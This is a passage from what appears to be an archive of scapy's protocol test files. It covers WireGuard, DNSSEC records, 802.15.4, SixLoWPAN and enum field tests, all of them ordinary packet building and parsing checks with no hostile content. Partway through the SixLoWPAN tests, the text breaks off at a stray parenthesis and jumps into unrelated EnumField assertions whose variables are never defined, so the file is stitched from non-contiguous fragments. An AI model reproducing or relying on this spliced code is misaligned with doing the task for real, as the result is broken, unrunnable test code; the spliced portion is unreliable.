== b'\x02\x00\x00\x0090\x00\x00\xc6\x1e\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAempty\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' wgResp = Wireguard(b'\x02\x00\x00\x00W\x04\x00\x00\xae\x08\x00\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBnotempty\x00\x00\x00\x00\x00\x00\x00\x00mac1lol\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2lol\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert wgResp.message_type == 2 assert wgResp[WireguardResponse].sender_index == 1111 assert wgResp[WireguardResponse].receiver_index == 2222 assert wgResp[WireguardResponse].unencrypted_ephemeral == b"B"*32 assert wgResp[WireguardResponse].encrypted_nothing == b"notempty" + b"\x00" * 8 assert wgResp[WireguardResponse].mac1 == b"mac1lol" + b"\x00" * 9 assert wgResp[WireguardResponse].mac2 == b"mac2lol" + b"\x00" * 9 = Build and dissect Cookie Response wgCookie = Wireguard()/WireguardCookieReply(receiver_index=3333, nonce=b"C"*24, encrypted_cookie=b"D"*16 + b"E"*16 ) assert bytes(wgCookie) == b'\x03\x00\x00\x00\x05\r\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEE' wgCookie = Wireguard(b'\x03\x00\x00\x00\xb8"\x00\x00KKKKKKKKKKKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLMMMMMMMMMMMMMMMM') assert wgCookie.message_type == 3 assert wgCookie[WireguardCookieReply].receiver_index == 8888 assert wgCookie[WireguardCookieReply].nonce == b"K"*24 assert wgCookie[WireguardCookieReply].encrypted_cookie == b"L" * 16 + b"M" * 16 scapy-2.4.4/test/dnssecRR.uts000066400000000000000000000205431372370053500161100ustar00rootroot00000000000000# DNSSEC Resource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/dnssecRR.uts -F + bitmap2RRlist() = example from RFC 4034 RRlist2bitmap([1, 15, 46, 47, 1234]) == b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' = [0] RRlist2bitmap([0]) == b'\x00\x01\x80' = [0,1,2,3,4,5,6,7] RRlist2bitmap([0,1,2,3,4,5,6,7]) == b'\x00\x01\xff' = [256,512,4096,36864] RRlist2bitmap([256,512,4096,36864]) == b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' = [65535] RRlist2bitmap([65535]) == b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' + From RRlist2bitmap() to bitmap2RRlist() = example from RFC 4034 b = b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' RRlist2bitmap(bitmap2RRlist(b)) == b = [0] b= b'\x00\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [0,1,2,3,4,5,6,7] b = b'\x00\x01\xff' RRlist2bitmap(bitmap2RRlist(b)) == b = [256,512,4096,36864] b = b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [65535] b = b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' RRlist2bitmap(bitmap2RRlist(b)) == b + Test NSEC RR = DNSRRNSEC(), basic instantiation t = DNSRRNSEC() raw(t) == b'\x00\x00/\x00\x01\x00\x00\x00\x00\x00\x01\x00' = DNSRRRNSEC(), check parameters t = DNSRRNSEC(rrname="scapy.secdev.org.", rclass=42, ttl=28, nextname="www.secdev.org.", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) raw(t) == b'\x05scapy\x06secdev\x03org\x00\x00/\x00*\x00\x00\x00\x1c\x000\x03www\x06secdev\x03org\x00\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3 RR = DNSRRNSEC3(), basic instantiation t = DNSRRNSEC3() raw(t) == b'\x00\x002\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00' = DNSRRRNSEC3(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt=b"\x28\x07", hashlength=31, nexthashedownername="XXX.scapy.secdev.org", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00<\x07\x00\x00P\x1c(\x07\x1fXXX.scapy.secdev.org\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3PARAM RR = DNSRRNSEC3PARAM(), basic instantiation t = DNSRRNSEC3PARAM() raw(t) == b'\x00\x003\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00' = DNSRRRNSEC3PARAM(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt=b"\x28\x07") raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00\x08\x07P\x00P\x1c(\x07\x00' + Test RRSIG RR = DNSRRRSIG(), basic instantiation t = DNSRRRSIG() raw(t) == b'\x00\x00.\x00\x01\x00\x00\x00\x00\x00\x13\x00\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DNSRRRSIG(), check parameters t = DNSRRRSIG(rrname="test.example.com.", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname="test.rsig", signature="test RSIG") raw(t) == b'\x04test\x07example\x03com\x00\x00.\x00\x0c\x00\x00\x00@\x00&\x00\x01\x05\x00\x00\x00\n\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x04test\x04rsig\x00test RSIG' = DNSRRRSIG(), dissection rrsig = b'\x03isc\x03org\x00\x00.\x00\x01\x00\x00\x96O\x00\x9b\x00\x02\x05\x02\x00\x00\xa8\xc0K-3\xd9K\x05\xa6\xd9\xed6\x03isc\x03org\x00\xac\xb2_I\x9e\xdcU\xca/3\x1c\xdf{\xba\xd5\x80\xb0 \xa4~\x98\x95\xab~\x84\xb2\x1f9\x17#\x7f\xfeP\xb9\xfb\x8d\x13\x19\xd7\x7f\x9e/\x1c\xd7rv<\xc6\xd3\xf1\xae8\rh\xba\x1e\xaa\xe6\xf1\x1e\x1d\xdaS\xd4\\\xfd\xa3`P\xa1\xe0\xa2\x860\xd4?\xb4}j\x81O\x03\xdc&v\x13\xd4(k\xa07\x8f-\x08e\x06\xff\xb8h\x8f\x16j\xe4\xd92\xd2\x99\xc2\xb4' t = DNSRRRSIG(rrsig) t.rrname == b'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == b'\xd2\x99\xc2\xb4' + Test DNSKEY RR = DNSRRDNSKEY(), basic instantiation t = DNSRRDNSKEY() raw(t) == b'\x00\x000\x00\x01\x00\x00\x00\x00\x00\x04\x01\x00\x03\x05' and t.sprintf("%flags%") == 'Z' = DNSRRDNSKEY(), check parameters t = DNSRRDNSKEY(rrname="www.secdev.org.", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey="strong public key") raw(t) == b'\x03www\x06secdev\x03org\x00\x00*\x00\x0c\x00\x00\x04\xd2\x027\n\xf7\xc3Bstrong public key' = DNSRRDNSKEY(), dissection t = DNSRRDNSKEY(b'\x03dlv\x03isc\x03org\x00\x000\x00\x01\x00\x00\x1bq\x01\t\x01\x01\x03\x05\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a') t.rrname == b"dlv.isc.org." and t.rdlen == 265 and t.sprintf("%flags%") == 'SZ' and t.publickey == b'\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a' + Test DS and DLV RR = DNSRRDS() and DNSRRDLV(), basic instancaition ds = DNSRRDS() dlv = DNSRRDLV(type=43) raw(ds) == raw(dlv) = DNSRRDS(), check parameters t = DNSRRDS(b'\x03isc\x03org\x00\x00+\x00\x01\x00\x01Q(\x00\x182\\\x05\x01\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y') t.rrname == b'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == b'\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y' + Test TXT RR = DNSRR(type="TXT") instantiation t = DNSRR(type="TXT", rdata=b"test") assert t.rdata == [b"test"] assert raw(DNSRR(type="TXT", rdata=["hello", "DNS", "!"])) == b'\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x0c\x05hello\x03DNS\x01!' = Build DNSRR an = DNSRR(type='AAAA', rdata='2001::1') an = DNSRR(raw(an)) assert an.rdata == '2001::1' = DNSRRR(), check parameters t = DNSRR(b'\x04test\x00\x00\x10\x00\x01\x00\x00\x00\x00\x018\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipment ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.') t.type == 16 and t.rdlen == 312 and t.rdata[0][:5] == b"Scapy" and t.rdata[1][-10:] == b"discovery." + Test DNSRRTSIG RR = DNSRRTSIG basic instantiation t = DNSRRTSIG() raw(t) == b"\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00" = DNSRRTSIG(), check parameters t = DNSRRTSIG(rrname="SAMPLE-ALG.EXAMPLE.", time_signed=853804800, fudge=300) raw(t) == b"\nSAMPLE-ALG\x07EXAMPLE\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x002\xe4\x07\x00\x01,\x00\x14\x00\x00\x00\x00\x00\x00" = TimeField methods packed_data = b"\x00\x002\xe4\x07\x00" assert(TimeSignedField("", 0).h2i("", 853804800) == packed_data) assert(TimeSignedField("", 0).i2h("", packed_data) == 853804800) assert(TimeSignedField("", 0).i2repr("", packed_data) == "Tue Jan 21 00:00:00 1997") scapy-2.4.4/test/dot15d4.uts000066400000000000000000001057031372370053500155530ustar00rootroot00000000000000% Regression tests for the Dot15D4, SixLoWPAN and Zigbee layers ################### ##### Dot15D4 ##### ################### + Dot15D4 tests = Dot15D4 layers # a crazy packet with all classes in it! pkt = Dot15d4()/Dot15d4Ack()/Dot15d4AuxSecurityHeader()/Dot15d4Beacon()/Dot15d4Cmd()/Dot15d4CmdAssocReq()/Dot15d4CmdAssocResp()/Dot15d4CmdCoordRealign()/Dot15d4CmdCoordRealignPage()/Dot15d4CmdDisassociation()/Dot15d4CmdGTSReq()/Dot15d4Data()/Dot15d4FCS() assert Dot15d4 in pkt.layers() assert Dot15d4Ack in pkt.layers() assert Dot15d4AuxSecurityHeader in pkt.layers() assert Dot15d4Beacon in pkt.layers() assert Dot15d4Cmd in pkt.layers() assert Dot15d4CmdAssocReq in pkt.layers() assert Dot15d4CmdAssocResp in pkt.layers() assert Dot15d4CmdCoordRealign in pkt.layers() assert Dot15d4CmdCoordRealignPage in pkt.layers() assert Dot15d4CmdDisassociation in pkt.layers() assert Dot15d4CmdGTSReq in pkt.layers() assert Dot15d4Data in pkt.layers() assert Dot15d4FCS in pkt.layers() = Dot15d4FCS parent matching pkt = Ether()/IP()/Dot15d4FCS() assert pkt[Dot15d4] = Dot15d4FCS - Beacon (without pending addresses) pkt = Dot15d4FCS(b'\x00\x80\x89\xaa\x99\x00\x00\xff\xcf\x00\x00\x00"\x84\xfe\xca\xef\xbe\xed\xfe\xce\xfa\xff\xff\xff\x00X\xa4') assert Dot15d4FCS in pkt.layers() assert pkt[Dot15d4FCS].fcf_frametype == 0 assert pkt[Dot15d4FCS].fcf_security == False assert pkt[Dot15d4FCS].fcf_pending == False assert pkt[Dot15d4FCS].fcf_ackreq == False assert pkt[Dot15d4FCS].fcf_panidcompress == False assert pkt[Dot15d4FCS].fcf_destaddrmode == 0 assert pkt[Dot15d4FCS].fcf_framever == 0 assert pkt[Dot15d4FCS].fcf_srcaddrmode == 2 assert pkt[Dot15d4FCS].seqnum == 137 assert Dot15d4Beacon in pkt.layers() assert pkt[Dot15d4Beacon].src_panid == 0x99aa assert pkt[Dot15d4Beacon].src_addr == 0x0000 assert pkt[Dot15d4Beacon].sf_beaconorder == 15 assert pkt[Dot15d4Beacon].sf_sforder == 15 assert pkt[Dot15d4Beacon].sf_finalcapslot == 15 assert pkt[Dot15d4Beacon].sf_battlifeextend == False assert pkt[Dot15d4Beacon].sf_pancoord == True assert pkt[Dot15d4Beacon].sf_assocpermit == True assert pkt[Dot15d4Beacon].gts_spec_permit == False assert pkt[Dot15d4Beacon].gts_spec_reserved == 0 assert pkt[Dot15d4Beacon].gts_spec_desccount == 0 assert pkt[Dot15d4Beacon].pa_num_short == 0 assert pkt[Dot15d4Beacon].pa_num_long == 0 assert pkt[Dot15d4Beacon].pa_short_addresses == [] assert pkt[Dot15d4Beacon].pa_long_addresses == [] assert raw(pkt[Dot15d4Beacon].payload) == b'\x00"\x84\xfe\xca\xef\xbe\xed\xfe\xce\xfa\xff\xff\xff\x00' assert pkt[Dot15d4FCS].fcs == 0xa458 = Dot15d4FCS - Beacon (with pending addresses) pkt = Dot15d4FCS(b'\x00\x80\x89\xaa\x99\x00\x00\xff\xcf\x00\x124\x12xV\x88wfUD3"\x11\x00"\x84\xfe\xca\xef\xbe\xed\xfe\xce\xfa\xff\xff\xff\x00\x96\xd3') assert Dot15d4FCS in pkt.layers() assert pkt[Dot15d4FCS].fcf_frametype == 0 assert pkt[Dot15d4FCS].fcf_security == False assert pkt[Dot15d4FCS].fcf_pending == False assert pkt[Dot15d4FCS].fcf_ackreq == False assert pkt[Dot15d4FCS].fcf_panidcompress == False assert pkt[Dot15d4FCS].fcf_destaddrmode == 0 assert pkt[Dot15d4FCS].fcf_framever == 0 assert pkt[Dot15d4FCS].fcf_srcaddrmode == 2 assert pkt[Dot15d4FCS].seqnum == 137 assert Dot15d4Beacon in pkt.layers() assert pkt[Dot15d4Beacon].src_panid == 0x99aa assert pkt[Dot15d4Beacon].src_addr == 0x0000 assert pkt[Dot15d4Beacon].sf_beaconorder == 15 assert pkt[Dot15d4Beacon].sf_sforder == 15 assert pkt[Dot15d4Beacon].sf_finalcapslot == 15 assert pkt[Dot15d4Beacon].sf_battlifeextend == False assert pkt[Dot15d4Beacon].sf_pancoord == True assert pkt[Dot15d4Beacon].sf_assocpermit == True assert pkt[Dot15d4Beacon].gts_spec_permit == False assert pkt[Dot15d4Beacon].gts_spec_reserved == 0 assert pkt[Dot15d4Beacon].gts_spec_desccount == 0 assert pkt[Dot15d4Beacon].pa_num_short == 2 assert pkt[Dot15d4Beacon].pa_num_long == 1 assert pkt[Dot15d4Beacon].pa_short_addresses == [0x1234, 0x5678] assert pkt[Dot15d4Beacon].pa_long_addresses == [0x1122334455667788] assert raw(pkt[Dot15d4Beacon].payload) == b'\x00"\x84\xfe\xca\xef\xbe\xed\xfe\xce\xfa\xff\xff\xff\x00' assert pkt[Dot15d4FCS].fcs == 0xd396 = Dot15d4FCS - Coordinator Realignment (without the channel page) pkt = Dot15d4FCS(b'#\xcc\x89\xff\xff\x88wfUD3"\x11\xaa\x99\xff\xee\xdd\xcc\xbb\xaa\x99\x88\x08\xaa\x99\xde\xc0\x14\xad\xde\\!') assert Dot15d4FCS in pkt.layers() assert pkt[Dot15d4FCS].fcf_frametype == 3 assert pkt[Dot15d4FCS].fcf_security == False assert pkt[Dot15d4FCS].fcf_pending == False assert pkt[Dot15d4FCS].fcf_ackreq == True assert pkt[Dot15d4FCS].fcf_panidcompress == False assert pkt[Dot15d4FCS].fcf_destaddrmode == 3 assert pkt[Dot15d4FCS].fcf_framever == 0 assert pkt[Dot15d4FCS].fcf_srcaddrmode == 3 assert pkt[Dot15d4FCS].seqnum == 137 assert Dot15d4Cmd in pkt.layers() assert pkt[Dot15d4Cmd].dest_panid == 0xffff assert pkt[Dot15d4Cmd].dest_addr == 0x1122334455667788 assert pkt[Dot15d4Cmd].src_panid == 0x99aa assert pkt[Dot15d4Cmd].src_addr == 0x8899aabbccddeeff assert pkt[Dot15d4Cmd].cmd_id == 0x08 assert Dot15d4CmdCoordRealign in pkt.layers() assert pkt[Dot15d4CmdCoordRealign].panid == 0x99aa assert pkt[Dot15d4CmdCoordRealign].coord_address == 0xc0de assert pkt[Dot15d4CmdCoordRealign].channel == 20 assert pkt[Dot15d4CmdCoordRealign].dev_address == 0xdead assert raw(pkt[Dot15d4CmdCoordRealign].payload) == b'' assert pkt[Dot15d4FCS].fcs == 0x215c = Dot15d4FCS - Coordinator Realignment (with the channel page) pkt = Dot15d4FCS(b'#\xcc\x89\xff\xff\x88wfUD3"\x11\xaa\x99\xff\xee\xdd\xcc\xbb\xaa\x99\x88\x08\xaa\x99\xde\xc0\x14\xad\xde\x00\xc8\x98') assert Dot15d4FCS in pkt.layers() assert pkt[Dot15d4FCS].fcf_frametype == 3 assert pkt[Dot15d4FCS].fcf_security == False assert pkt[Dot15d4FCS].fcf_pending == False assert pkt[Dot15d4FCS].fcf_ackreq == True assert pkt[Dot15d4FCS].fcf_panidcompress == False assert pkt[Dot15d4FCS].fcf_destaddrmode == 3 assert pkt[Dot15d4FCS].fcf_framever == 0 assert pkt[Dot15d4FCS].fcf_srcaddrmode == 3 assert pkt[Dot15d4FCS].seqnum == 137 assert Dot15d4Cmd in pkt.layers() assert pkt[Dot15d4Cmd].dest_panid == 0xffff assert pkt[Dot15d4Cmd].dest_addr == 0x1122334455667788 assert pkt[Dot15d4Cmd].src_panid == 0x99aa assert pkt[Dot15d4Cmd].src_addr == 0x8899aabbccddeeff assert pkt[Dot15d4Cmd].cmd_id == 0x08 assert Dot15d4CmdCoordRealign in pkt.layers() assert pkt[Dot15d4CmdCoordRealign].panid == 0x99aa assert pkt[Dot15d4CmdCoordRealign].coord_address == 0xc0de assert pkt[Dot15d4CmdCoordRealign].channel == 20 assert pkt[Dot15d4CmdCoordRealign].dev_address == 0xdead assert Dot15d4CmdCoordRealignPage in pkt.layers() assert pkt[Dot15d4CmdCoordRealignPage].channel_page == 0 assert raw(pkt[Dot15d4CmdCoordRealignPage].payload) == b'' assert pkt[Dot15d4FCS].fcs == 0x98c8 ################### #### SixLoWPAN #### ################### + SixLoWPAN tests = Set SixLoWPAN conf.dot15d4_protocol = "sixlowpan" = SixLoWPAN layers # a crazy packet with all classes in it! pkt = SixLoWPAN()/LoWPANFragmentationFirst()/LoWPANFragmentationSubsequent()/LoWPANMesh()/LoWPANUncompressedIPv6() assert SixLoWPAN in pkt.layers() assert LoWPANFragmentationFirst in pkt.layers() assert LoWPANFragmentationSubsequent in pkt.layers() assert LoWPANMesh in pkt.layers() assert LoWPANUncompressedIPv6 in pkt.layers() = Default dissection # some sample packet extracted lowpan_frag_first = b'\xc29\x00\x17`\x00\x00\x00\x00\x00\x00\x00 \x02\r\xb8\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01 \x02\r\xb8\x00\x00\x00\x00\x00\x11"\xff\xfe3DU\xc4\xf9\x00Pw\x9b\x18\x9d\x00\x00\x01\xa2P\x18\x13X\x08\x10\x00\x00GET / HTTP/1.1\r\nHost: [aaaa::11:22ff' lowpan_frag_first_packet = SixLoWPAN(lowpan_frag_first) assert lowpan_frag_first_packet.load == b'`\x00\x00\x00\x00\x00\x00\x00 \x02\r\xb8\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01 \x02\r\xb8\x00\x00\x00\x00\x00\x11"\xff\xfe3DU\xc4\xf9\x00Pw\x9b\x18\x9d\x00\x00\x01\xa2P\x18\x13X\x08\x10\x00\x00GET / HTTP/1.1\r\nHost: [aaaa::11:22ff' = Frag second dissection lowpan_frag_second = b'\xe29\x00\x17\x0c`\x00\x00\x00\x00\x00\x00\x00 \x02\r\xb8\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01 \x02\r\xb8\x00\x00\x00\x00\x00\x11"\xff\xfe3DUerer: http://[aaaa::11:22ff:fe33:4455]/sensor.shtml\r\nUse' lowpan_frag_sec_packet = SixLoWPAN(lowpan_frag_second) assert LoWPANFragmentationSubsequent in lowpan_frag_sec_packet assert lowpan_frag_sec_packet.datagramSize == 569 assert lowpan_frag_sec_packet.datagramTag == 0x17 = LoWPAN_IPHC dissections lowpan_iphc = b"\x78\xf6\x00\x06\x80\x00\x01\x00\x50\xc4\xf9\x00\x00\x02\x12\x77\x9b\x1a\x9a\x50\x18\x04\xc4\x12\xd5\x00\x00\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x34\x2e\x30\x31\x20\x54\x72\x61\x6e\x73\x69\x74\x69\x6f\x6e\x61\x6c\x2f\x2f\x45\x4e\x22\x20\x22\x68\x74\x74\x70" lowpan_frag_iphc = LoWPAN_IPHC(lowpan_iphc) assert IPv6 in lowpan_frag_iphc assert lowpan_frag_iphc.load == b'\x0c\x00\x00@\x11\xe1\x95\xac\x10\x01\x90\xac\x10\x014EZEZ\x00S\xda\x93EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xa2\x81\xba\xc2\xdf\x00\x00<\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+A\x88U\xaa\x1b\xff\xfffU{;:\x1a\x9b\x01uE\x00\xf1\x03Z\x8b\xf0\x00\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x11"lF' ack_frame = b'\x00"\x19\x100\xe5\x00\x1c\xda\x00\x10\x04\x08\x00E\x00\x00A>\x0e\x00\x00@\x11\xe1\xb9\xac\x10\x01\x90\xac\x10\x014EZEZ\x00-d7EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xa8\x84\xcb\x07\xd0\x00\x00<\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00[\xeeY' router_adv = b'\x00"\x19\x100\xe5\x00\x1c\xda\x00\x10\x04\x08\x00E\x00\x00\xab>F\x00\x00@\x11\xe1\x17\xac\x10\x01\x90\xac\x10\x014EZEZ\x00\x97\x81\xb0EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xe8E\xce\xbf\xec\x00\x00') assert(rf.i2repr_one(None, RandNum(0, 10)) == '') assert(lf.i2repr_one(None, RandNum(0, 10)) == '') assert(fcb.i2repr_one(None, RandNum(0, 10)) == '') True = EnumField.i2repr ~ field enumfield assert(f.i2repr(None, 0) == 'Foo') assert(f.i2repr(None, 1) == 'Bar') expect_exception(KeyError, 'f.i2repr(None, 2)') assert(f.i2repr(None, [0, 1]) == ['Foo', 'Bar']) assert(rf.i2repr(None, 0) == 'Foo') assert(rf.i2repr(None, 1) == 'Bar') expect_exception(KeyError, 'rf.i2repr(None, 2)') assert(rf.i2repr(None, [0, 1]) == ['Foo', 'Bar']) assert(lf.i2repr(None, 0) == 'Foo') assert(lf.i2repr(None, 1) == 'Bar') expect_exception(KeyError, 'lf.i2repr(None, 2)') assert(lf.i2repr(None, [0, 1]) == ['Foo', 'Bar']) assert(fcb.i2repr(None, 0) == 'Foo') assert(fcb.i2repr(None, 1) == 'Bar') assert(fcb.i2repr(None, 5) == 'Bar') assert(fcb.i2repr(None, 11) == repr(11)) assert(fcb.i2repr(None, [0, 1, 5, 11]) == ['Foo', 'Bar', 'Bar', repr(11)]) conf.noenum.add(f, rf, lf, fcb) assert(f.i2repr(None, 0) == repr(0)) assert(f.i2repr(None, 1) == repr(1)) assert(f.i2repr(None, 2) == repr(2)) assert(f.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]) assert(rf.i2repr(None, 0) == repr(0)) assert(rf.i2repr(None, 1) == repr(1)) assert(rf.i2repr(None, 2) == repr(2)) assert(rf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]) assert(lf.i2repr(None, 0) == repr(0)) assert(lf.i2repr(None, 1) == repr(1)) assert(lf.i2repr(None, 2) == repr(2)) assert(lf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]) assert(fcb.i2repr(None, 0) == repr(0)) assert(fcb.i2repr(None, 1) == repr(1)) assert(fcb.i2repr(None, 5) == repr(5)) assert(fcb.i2repr(None, 11) == repr(11)) assert(fcb.i2repr(None, [0, 1, 5, 11]) == [repr(0), repr(1), repr(5), repr(11)]) conf.noenum.remove(f, rf, lf, fcb) assert(f.i2repr_one(None, RandNum(0, 10)) == '') assert(rf.i2repr_one(None, RandNum(0, 10)) == '') assert(lf.i2repr_one(None, RandNum(0, 10)) == '') assert(fcb.i2repr_one(None, RandNum(0, 10)) == '') True ############ ############ + CharEnumField tests = Building expect_exception handler ~ field charenumfield def expect_exception(e, c): try: eval(c) return False except e: return True = CharEnumField tests initialization ~ field charenumfield fc = CharEnumField('test', 'f', {'f': 'Foo', 'b': 'Bar'}) fcb = CharEnumField('test', 'a', ( lambda x: 'Foo' if x == 'a' else 'Bar' if x == 'b' else 'Baz', lambda x: 'a' if x == 'Foo' else 'b' if x == 'Bar' else '' )) True = CharEnumField.any2i_one ~ field charenumfield assert(fc.any2i_one(None, 'Foo') == 'f') assert(fc.any2i_one(None, 'Bar') == 'b') expect_exception(KeyError, 'fc.any2i_one(None, "Baz")') assert(fcb.any2i_one(None, 'Foo') == 'a') assert(fcb.any2i_one(None, 'Bar') == 'b') assert(fcb.any2i_one(None, 'Baz') == '') True ############ ############ + XByteEnumField tests = Building expect_exception handler ~ field xbyteenumfield def expect_exception(e, c): try: eval(c) return False except e: return True = XByteEnumField tests initialization ~ field xbyteenumfield f = XByteEnumField('test', 0, {0: 'Foo', 1: 'Bar'}) fcb = XByteEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XByteEnumField.i2repr_one ~ field xbyteenumfield 